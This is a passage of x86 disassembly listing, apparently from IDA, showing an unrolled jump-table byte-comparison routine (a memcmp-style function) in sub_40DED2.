					; DATA XREF: .vty:off_40F4D2o
		mov	edx, [eax-0Dh]	; jumptable 0040E397 case 13
		cmp	edx, [ecx-0Dh]
		jz	short loc_40EA3A
		movzx	esi, dl
		movzx	edx, byte ptr [ecx-0Dh]
		sub	esi, edx
		jz	short loc_40E9DD
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40E39E


loc_40E9DD:				; CODE XREF: sub_40DED2+AF4j
		movzx	esi, byte ptr [eax-0Ch]
		movzx	edx, byte ptr [ecx-0Ch]
		sub	esi, edx
		jz	short loc_40E9FE
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40E39E


loc_40E9FE:				; CODE XREF: sub_40DED2+B15j
		movzx	esi, byte ptr [eax-0Bh]
		movzx	edx, byte ptr [ecx-0Bh]
		sub	esi, edx
		jz	short loc_40EA1F
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40E39E


loc_40EA1F:				; CODE XREF: sub_40DED2+B36j
		movzx	esi, byte ptr [eax-0Ah]
		movzx	edx, byte ptr [ecx-0Ah]
		sub	esi, edx
		jz	short loc_40EA3C
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_40EA3C
; ---------------------------------------------------------------------------


loc_40EA3A:				; CODE XREF: sub_40DED2+AE9j
		xor	esi, esi


loc_40EA3C:				; CODE XREF: sub_40DED2+B57j
					; sub_40DED2+B66j
		test	esi, esi
		jnz	loc_40E39E


loc_40EA44:				; CODE XREF: sub_40DED2+4C5j
					; DATA XREF: .vty:off_40F4D2o
		mov	edx, [eax-9]	; jumptable 0040E397 case 9
		cmp	edx, [ecx-9]
		jz	short loc_40EACA
		movzx	edx, byte ptr [ecx-9]
		movzx	esi, byte ptr [eax-9]
		sub	esi, edx
		jz	short loc_40EA6D
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40E39E


loc_40EA6D:				; CODE XREF: sub_40DED2+B84j
		movzx	esi, byte ptr [eax-8]
		movzx	edx, byte ptr [ecx-8]
		sub	esi, edx
		jz	short loc_40EA8E
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40E39E


loc_40EA8E:				; CODE XREF: sub_40DED2+BA5j
		movzx	esi, byte ptr [eax-7]
		movzx	edx, byte ptr [ecx-7]
		sub	esi, edx
		jz	short loc_40EAAF
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40E39E


loc_40EAAF:				; CODE XREF: sub_40DED2+BC6j
		movzx	esi, byte ptr [eax-6]
		movzx	edx, byte ptr [ecx-6]
		sub	esi, edx
		jz	short loc_40EACC
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_40EACC
; ---------------------------------------------------------------------------


loc_40EACA:				; CODE XREF: sub_40DED2+B78j
		xor	esi, esi


loc_40EACC:				; CODE XREF: sub_40DED2+BE7j
					; sub_40DED2+BF6j
		test	esi, esi
		jnz	loc_40E39E


loc_40EAD4:				; CODE XREF: sub_40DED2+4C5j
					; DATA XREF: .vty:off_40F4D2o
		mov	edx, [eax-5]	; jumptable 0040E397 case 5
		cmp	edx, [ecx-5]
		jz	short loc_40EB59
		movzx	esi, dl
		movzx	edx, byte ptr [ecx-5]
		sub	esi, edx
		jz	short loc_40EAFC
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40E39E


loc_40EAFC:				; CODE XREF: sub_40DED2+C13j
		movzx	esi, byte ptr [eax-4]
		movzx	edx, byte ptr [ecx-4]
		sub	esi, edx
		jz	short loc_40EB1D
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40E39E


loc_40EB1D:				; CODE XREF: sub_40DED2+C34j
		movzx	esi, byte ptr [eax-3]
		movzx	edx, byte ptr [ecx-3]
		sub	esi, edx
		jz	short loc_40EB3E
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40E39E


loc_40EB3E:				; CODE XREF: sub_40DED2+C55j
		movzx	esi, byte ptr [eax-2]
		movzx	edx, byte ptr [ecx-2]
		sub	esi, edx
		jz	short loc_40EB5B
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_40EB5B
; ---------------------------------------------------------------------------


loc_40EB59:				; CODE XREF: sub_40DED2+C08j
		xor	esi, esi


loc_40EB5B:				; CODE XREF: sub_40DED2+C76j
					; sub_40DED2+C85j
		test	esi, esi
		jnz	loc_40E39E


loc_40EB63:				; CODE XREF: sub_40DED2+4C5j
					; sub_40DED2+10B5j ...
		movzx	ecx, byte ptr [ecx-1] ;	jumptable 0040E397 case	1
		movzx	eax, byte ptr [eax-1]
		sub	eax, ecx
		jz	loc_40E773
		xor	ecx, ecx
		test	eax, eax
		setnle	cl
		lea	ecx, [ecx+ecx-1]
		mov	eax, ecx
		jmp	loc_40E773
; ---------------------------------------------------------------------------


loc_40EB85:				; CODE XREF: sub_40DED2+4C5j
					; DATA XREF: .vty:off_40F4D2o
		mov	edx, [eax-1Eh]	; jumptable 0040E397 case 30
		cmp	edx, [ecx-1Eh]
		jz	short loc_40EC0A
		movzx	esi, dl
		movzx	edx, byte ptr [ecx-1Eh]
		sub	esi, edx
		jz	short loc_40EBAD
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40E39E


loc_40EBAD:				; CODE XREF: sub_40DED2+CC4j
		movzx	esi, byte ptr [eax-1Dh]
		movzx	edx, byte ptr [ecx-1Dh]
		sub	esi, edx
		jz	short loc_40EBCE
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40E39E


loc_40EBCE:				; CODE XREF: sub_40DED2+CE5j
		movzx	esi, byte ptr [eax-1Ch]
		movzx	edx, byte ptr [ecx-1Ch]
		sub	esi, edx
		jz	short loc_40EBEF
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40E39E


loc_40EBEF:				; CODE XREF: sub_40DED2+D06j
		movzx	esi, byte ptr [eax-1Bh]
		movzx	edx, byte ptr [ecx-1Bh]
		sub	esi, edx
		jz	short loc_40EC0C
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_40EC0C
; ---------------------------------------------------------------------------


loc_40EC0A:				; CODE XREF: sub_40DED2+CB9j
		xor	esi, esi


loc_40EC0C:				; CODE XREF: sub_40DED2+D27j
					; sub_40DED2+D36j
		test	esi, esi
		jnz	loc_40E39E


loc_40EC14:				; CODE XREF: sub_40DED2+4C5j
					; DATA XREF: .vty:off_40F4D2o
		mov	edx, [eax-1Ah]	; jumptable 0040E397 case 26
		cmp	edx, [ecx-1Ah]
		jz	short loc_40EC99
		movzx	esi, dl
		movzx	edx, byte ptr [ecx-1Ah]
		sub	esi, edx
		jz	short loc_40EC3C
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40E39E


loc_40EC3C:				; CODE XREF: sub_40DED2+D53j
		movzx	esi, byte ptr [eax-19h]
		movzx	edx, byte ptr [ecx-19h]
		sub	esi, edx
		jz	short loc_40EC5D
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40E39E


loc_40EC5D:				; CODE XREF: sub_40DED2+D74j
		movzx	esi, byte ptr [eax-18h]
		movzx	edx, byte ptr [ecx-18h]
		sub	esi, edx
		jz	short loc_40EC7E
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40E39E


loc_40EC7E:				; CODE XREF: sub_40DED2+D95j
		movzx	esi, byte ptr [eax-17h]
		movzx	edx, byte ptr [ecx-17h]
		sub	esi, edx
		jz	short loc_40EC9B
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_40EC9B
; ---------------------------------------------------------------------------


loc_40EC99:				; CODE XREF: sub_40DED2+D48j
		xor	esi, esi


loc_40EC9B:				; CODE XREF: sub_40DED2+DB6j
					; sub_40DED2+DC5j
		test	esi, esi
		jnz	loc_40E39E


loc_40ECA3:				; CODE XREF: sub_40DED2+4C5j
					; DATA XREF: .vty:off_40F4D2o
		mov	edx, [eax-16h]	; jumptable 0040E397 case 22
		cmp	edx, [ecx-16h]
		jz	short loc_40ED28
		movzx	esi, dl
		movzx	edx, byte ptr [ecx-16h]
		sub	esi, edx
		jz	short loc_40ECCB
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40E39E


loc_40ECCB:				; CODE XREF: sub_40DED2+DE2j
		movzx	esi, byte ptr [eax-15h]
		movzx	edx, byte ptr [ecx-15h]
		sub	esi, edx
		jz	short loc_40ECEC
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40E39E


loc_40ECEC:				; CODE XREF: sub_40DED2+E03j
		movzx	esi, byte ptr [eax-14h]
		movzx	edx, byte ptr [ecx-14h]
		sub	esi, edx
		jz	short loc_40ED0D
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40E39E


loc_40ED0D:				; CODE XREF: sub_40DED2+E24j
		movzx	esi, byte ptr [eax-13h]
		movzx	edx, byte ptr [ecx-13h]
		sub	esi, edx
		jz	short loc_40ED2A
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_40ED2A
; ---------------------------------------------------------------------------


loc_40ED28:				; CODE XREF: sub_40DED2+DD7j
		xor	esi, esi


loc_40ED2A:				; CODE XREF: sub_40DED2+E45j
					; sub_40DED2+E54j
		test	esi, esi
		jnz	loc_40E39E


loc_40ED32:				; CODE XREF: sub_40DED2+4C5j
					; DATA XREF: .vty:off_40F4D2o
		mov	edx, [eax-12h]	; jumptable 0040E397 case 18
		cmp	edx, [ecx-12h]
		jz	short loc_40EDB7
		movzx	esi, dl
		movzx	edx, byte ptr [ecx-12h]
		sub	esi, edx
		jz	short loc_40ED5A
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40E39E


loc_40ED5A:				; CODE XREF: sub_40DED2+E71j
		movzx	esi, byte ptr [eax-11h]
		movzx	edx, byte ptr [ecx-11h]
		sub	esi, edx
		jz	short loc_40ED7B
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40E39E


loc_40ED7B:				; CODE XREF: sub_40DED2+E92j
		movzx	esi, byte ptr [eax-10h]
		movzx	edx, byte ptr [ecx-10h]
		sub	esi, edx
		jz	short loc_40ED9C
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40E39E


loc_40ED9C:				; CODE XREF: sub_40DED2+EB3j
		movzx	esi, byte ptr [eax-0Fh]
		movzx	edx, byte ptr [ecx-0Fh]
		sub	esi, edx
		jz	short loc_40EDB9
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_40EDB9
; ---------------------------------------------------------------------------


loc_40EDB7:				; CODE XREF: sub_40DED2+E66j
		xor	esi, esi


loc_40EDB9:				; CODE XREF: sub_40DED2+ED4j
					; sub_40DED2+EE3j
		test	esi, esi
		jnz	loc_40E39E


loc_40EDC1:				; CODE XREF: sub_40DED2+4C5j
					; DATA XREF: .vty:off_40F4D2o
		mov	edx, [eax-0Eh]	; jumptable 0040E397 case 14
		cmp	edx, [ecx-0Eh]
		jz	short loc_40EE46
		movzx	esi, dl
		movzx	edx, byte ptr [ecx-0Eh]
		sub	esi, edx
		jz	short loc_40EDE9
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40E39E


loc_40EDE9:				; CODE XREF: sub_40DED2+F00j
		movzx	esi, byte ptr [eax-0Dh]
		movzx	edx, byte ptr [ecx-0Dh]
		sub	esi, edx
		jz	short loc_40EE0A
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40E39E


loc_40EE0A:				; CODE XREF: sub_40DED2+F21j
		movzx	esi, byte ptr [eax-0Ch]
		movzx	edx, byte ptr [ecx-0Ch]
		sub	esi, edx
		jz	short loc_40EE2B
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40E39E


loc_40EE2B:				; CODE XREF: sub_40DED2+F42j
		movzx	esi, byte ptr [eax-0Bh]
		movzx	edx, byte ptr [ecx-0Bh]
		sub	esi, edx
		jz	short loc_40EE48
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_40EE48
; ---------------------------------------------------------------------------


loc_40EE46:				; CODE XREF: sub_40DED2+EF5j
		xor	esi, esi


loc_40EE48:				; CODE XREF: sub_40DED2+F63j
					; sub_40DED2+F72j
		test	esi, esi
		jnz	loc_40E39E


loc_40EE50:				; CODE XREF: sub_40DED2+4C5j
					; DATA XREF: .vty:off_40F4D2o
		mov	edx, [eax-0Ah]	; jumptable 0040E397 case 10
		cmp	edx, [ecx-0Ah]
		jz	short loc_40EED6
		movzx	edx, byte ptr [ecx-0Ah]
		movzx	esi, byte ptr [eax-0Ah]
		sub	esi, edx
		jz	short loc_40EE79
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40E39E


loc_40EE79:				; CODE XREF: sub_40DED2+F90j
		movzx	edx, byte ptr [ecx-9]
		movzx	esi, byte ptr [eax-9]
		sub	esi, edx
		jz	short loc_40EE9A
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40E39E


loc_40EE9A:				; CODE XREF: sub_40DED2+FB1j
		movzx	edx, byte ptr [ecx-8]
		movzx	esi, byte ptr [eax-8]
		sub	esi, edx
		jz	short loc_40EEBB
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40E39E


loc_40EEBB:				; CODE XREF: sub_40DED2+FD2j
		movzx	edx, byte ptr [ecx-7]
		movzx	esi, byte ptr [eax-7]
		sub	esi, edx
		jz	short loc_40EED8
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_40EED8
; ---------------------------------------------------------------------------


loc_40EED6:				; CODE XREF: sub_40DED2+F84j
		xor	esi, esi


loc_40EED8:				; CODE XREF: sub_40DED2+FF3j
					; sub_40DED2+1002j
		test	esi, esi
		jnz	loc_40E39E


loc_40EEE0:				; CODE XREF: sub_40DED2+4C5j
					; DATA XREF: .vty:off_40F4D2o
		mov	edx, [eax-6]	; jumptable 0040E397 case 6
		cmp	edx, [ecx-6]
		jz	short loc_40EF65
		movzx	esi, dl
		movzx	edx, byte ptr [ecx-6]
		sub	esi, edx
		jz	short loc_40EF08
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40E39E


loc_40EF08:				; CODE XREF: sub_40DED2+101Fj
		movzx	esi, byte ptr [eax-5]
		movzx	edx, byte ptr [ecx-5]
		sub	esi, edx
		jz	short loc_40EF29
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40E39E


loc_40EF29:				; CODE XREF: sub_40DED2+1040j
		movzx	esi, byte ptr [eax-4]
		movzx	edx, byte ptr [ecx-4]
		sub	esi, edx
		jz	short loc_40EF4A
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40E39E


loc_40EF4A:				; CODE XREF: sub_40DED2+1061j
		movzx	esi, byte ptr [eax-3]
		movzx	edx, byte ptr [ecx-3]
		sub	esi, edx
		jz	short loc_40EF67
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_40EF67
; ---------------------------------------------------------------------------


loc_40EF65:				; CODE XREF: sub_40DED2+1014j
		xor	esi, esi


loc_40EF67:				; CODE XREF: sub_40DED2+1082j
					; sub_40DED2+1091j
		test	esi, esi
		jnz	loc_40E39E


loc_40EF6F:				; CODE XREF: sub_40DED2+4C5j
					; DATA XREF: .vty:off_40F4D2o
		mov	dx, [eax-2]	; jumptable 0040E397 case 2
		cmp	dx, [ecx-2]
		jz	loc_40E771	; default
					; jumptable 0040E397 case 0


loc_40EF7D:				; CODE XREF: sub_40DED2+14C8j
					; sub_40DED2+14DBj
		movzx	edx, byte ptr [ecx-2]
		movzx	esi, byte ptr [eax-2]
		sub	esi, edx
		jz	loc_40EB63	; jumptable 0040E397 case 1
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		test	edx, edx
		jnz	loc_40F3B3
		jmp	loc_40EB63	; jumptable 0040E397 case 1
; ---------------------------------------------------------------------------


loc_40EFA5:				; CODE XREF: sub_40DED2+4C5j
					; DATA XREF: .vty:off_40F4D2o
		mov	edx, [eax-1Fh]	; jumptable 0040E397 case 31
		cmp	edx, [ecx-1Fh]
		jz	short loc_40F02B
		movzx	edx, byte ptr [ecx-1Fh]
		movzx	esi, byte ptr [eax-1Fh]
		sub	esi, edx
		jz	short loc_40EFCE
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40E39E


loc_40EFCE:				; CODE XREF: sub_40DED2+10E5j
		movzx	esi, byte ptr [eax-1Eh]
		movzx	edx, byte ptr [ecx-1Eh]
		sub	esi, edx
		jz	short loc_40EFEF
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40E39E


loc_40EFEF:				; CODE XREF: sub_40DED2+1106j
		movzx	esi, byte ptr [eax-1Dh]
		movzx	edx, byte ptr [ecx-1Dh]
		sub	esi, edx
		jz	short loc_40F010
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40E39E


loc_40F010:				; CODE XREF: sub_40DED2+1127j
		movzx	esi, byte ptr [eax-1Ch]
		movzx	edx, byte ptr [ecx-1Ch]
		sub	esi, edx
		jz	short loc_40F02D
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_40F02D
; ---------------------------------------------------------------------------


loc_40F02B:				; CODE XREF: sub_40DED2+10D9j
		xor	esi, esi


loc_40F02D:				; CODE XREF: sub_40DED2+1148j
					; sub_40DED2+1157j
		test	esi, esi
		jnz	loc_40E39E


loc_40F035:				; CODE XREF: sub_40DED2+4C5j
					; DATA XREF: .vty:off_40F4D2o
		mov	edx, [eax-1Bh]	; jumptable 0040E397 case 27
		cmp	edx, [ecx-1Bh]
		jz	short loc_40F0BA
		movzx	esi, dl
		movzx	edx, byte ptr [ecx-1Bh]
		sub	esi, edx
		jz	short loc_40F05D
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40E39E


loc_40F05D:				; CODE XREF: sub_40DED2+1174j
		movzx	esi, byte ptr [eax-1Ah]
		movzx	edx, byte ptr [ecx-1Ah]
		sub	esi, edx
		jz	short loc_40F07E
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40E39E


loc_40F07E:				; CODE XREF: sub_40DED2+1195j
		movzx	esi, byte ptr [eax-19h]
		movzx	edx, byte ptr [ecx-19h]
		sub	esi, edx
		jz	short loc_40F09F
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40E39E


loc_40F09F:				; CODE XREF: sub_40DED2+11B6j
		movzx	esi, byte ptr [eax-18h]
		movzx	edx, byte ptr [ecx-18h]
		sub	esi, edx
		jz	short loc_40F0BC
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_40F0BC
; ---------------------------------------------------------------------------


loc_40F0BA:				; CODE XREF: sub_40DED2+1169j
		xor	esi, esi


loc_40F0BC:				; CODE XREF: sub_40DED2+11D7j
					; sub_40DED2+11E6j
		test	esi, esi
		jnz	loc_40E39E


loc_40F0C4:				; CODE XREF: sub_40DED2+4C5j
					; DATA XREF: .vty:off_40F4D2o
		mov	edx, [eax-17h]	; jumptable 0040E397 case 23
		cmp	edx, [ecx-17h]
		jz	short loc_40F149
		movzx	esi, dl
		movzx	edx, byte ptr [ecx-17h]
		sub	esi, edx
		jz	short loc_40F0EC
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40E39E


loc_40F0EC:				; CODE XREF: sub_40DED2+1203j
		movzx	esi, byte ptr [eax-16h]
		movzx	edx, byte ptr [ecx-16h]
		sub	esi, edx
		jz	short loc_40F10D
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40E39E


loc_40F10D:				; CODE XREF: sub_40DED2+1224j
		movzx	esi, byte ptr [eax-15h]
		movzx	edx, byte ptr [ecx-15h]
		sub	esi, edx
		jz	short loc_40F12E
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40E39E


loc_40F12E:				; CODE XREF: sub_40DED2+1245j
		movzx	esi, byte ptr [eax-14h]
		movzx	edx, byte ptr [ecx-14h]
		sub	esi, edx
		jz	short loc_40F14B
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_40F14B
; ---------------------------------------------------------------------------


loc_40F149:				; CODE XREF: sub_40DED2+11F8j
		xor	esi, esi


loc_40F14B:				; CODE XREF: sub_40DED2+1266j
					; sub_40DED2+1275j
		test	esi, esi
		jnz	loc_40E39E


loc_40F153:				; CODE XREF: sub_40DED2+4C5j
					; DATA XREF: .vty:off_40F4D2o
		mov	edx, [eax-13h]	; jumptable 0040E397 case 19
		cmp	edx, [ecx-13h]
		jz	short loc_40F1D8
		movzx	esi, dl
		movzx	edx, byte ptr [ecx-13h]
		sub	esi, edx
		jz	short loc_40F17B
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40E39E


loc_40F17B:				; CODE XREF: sub_40DED2+1292j
		movzx	esi, byte ptr [eax-12h]
		movzx	edx, byte ptr [ecx-12h]
		sub	esi, edx
		jz	short loc_40F19C
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40E39E


loc_40F19C:				; CODE XREF: sub_40DED2+12B3j
		movzx	esi, byte ptr [eax-11h]
		movzx	edx, byte ptr [ecx-11h]
		sub	esi, edx
		jz	short loc_40F1BD
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40E39E


loc_40F1BD:				; CODE XREF: sub_40DED2+12D4j
		movzx	esi, byte ptr [eax-10h]
		movzx	edx, byte ptr [ecx-10h]
		sub	esi, edx
		jz	short loc_40F1DA
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_40F1DA
; ---------------------------------------------------------------------------


loc_40F1D8:				; CODE XREF: sub_40DED2+1287j
		xor	esi, esi


loc_40F1DA:				; CODE XREF: sub_40DED2+12F5j
					; sub_40DED2+1304j
		test	esi, esi
		jnz	loc_40E39E


loc_40F1E2:				; CODE XREF: sub_40DED2+4C5j
					; DATA XREF: .vty:off_40F4D2o
		mov	edx, [eax-0Fh]	; jumptable 0040E397 case 15
		cmp	edx, [ecx-0Fh]
		jz	short loc_40F268
		movzx	edx, byte ptr [ecx-0Fh]
		movzx	esi, byte ptr [eax-0Fh]
		sub	esi, edx
		jz	short loc_40F20B
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40E39E


loc_40F20B:				; CODE XREF: sub_40DED2+1322j
		movzx	esi, byte ptr [eax-0Eh]
		movzx	edx, byte ptr [ecx-0Eh]
		sub	esi, edx
		jz	short loc_40F22C
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40E39E


loc_40F22C:				; CODE XREF: sub_40DED2+1343j
		movzx	esi, byte ptr [eax-0Dh]
		movzx	edx, byte ptr [ecx-0Dh]
		sub	esi, edx
		jz	short loc_40F24D
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40E39E


loc_40F24D:				; CODE XREF: sub_40DED2+1364j
		movzx	esi, byte ptr [eax-0Ch]
		movzx	edx, byte ptr [ecx-0Ch]
		sub	esi, edx
		jz	short loc_40F26A
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_40F26A
; ---------------------------------------------------------------------------


loc_40F268:				; CODE XREF: sub_40DED2+1316j
		xor	esi, esi


loc_40F26A:				; CODE XREF: sub_40DED2+1385j
					; sub_40DED2+1394j
		test	esi, esi
		jnz	loc_40E39E


loc_40F272:				; CODE XREF: sub_40DED2+4C5j
					; DATA XREF: .vty:off_40F4D2o
		mov	edx, [eax-0Bh]	; jumptable 0040E397 case 11
		cmp	edx, [ecx-0Bh]
		jz	short loc_40F2F7
		movzx	esi, dl
		movzx	edx, byte ptr [ecx-0Bh]
		sub	esi, edx
		jz	short loc_40F29A
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40E39E


loc_40F29A:				; CODE XREF: sub_40DED2+13B1j
		movzx	esi, byte ptr [eax-0Ah]
		movzx	edx, byte ptr [ecx-0Ah]
		sub	esi, edx
		jz	short loc_40F2BB
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40E39E


loc_40F2BB:				; CODE XREF: sub_40DED2+13D2j
		movzx	esi, byte ptr [eax-9]
		movzx	edx, byte ptr [ecx-9]
		sub	esi, edx
		jz	short loc_40F2DC
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40E39E


loc_40F2DC:				; CODE XREF: sub_40DED2+13F3j
		movzx	esi, byte ptr [eax-8]
		movzx	edx, byte ptr [ecx-8]
		sub	esi, edx
		jz	short loc_40F2F9
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_40F2F9
; ---------------------------------------------------------------------------


loc_40F2F7:				; CODE XREF: sub_40DED2+13A6j
		xor	esi, esi


loc_40F2F9:				; CODE XREF: sub_40DED2+1414j
					; sub_40DED2+1423j
		test	esi, esi
		jnz	loc_40E39E


loc_40F301:				; CODE XREF: sub_40DED2+4C5j
					; DATA XREF: .vty:off_40F4D2o
		mov	edx, [eax-7]	; jumptable 0040E397 case 7
		cmp	edx, [ecx-7]
		jz	short loc_40F386
		movzx	esi, dl
		movzx	edx, byte ptr [ecx-7]
		sub	esi, edx
		jz	short loc_40F329
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40E39E


loc_40F329:				; CODE XREF: sub_40DED2+1440j
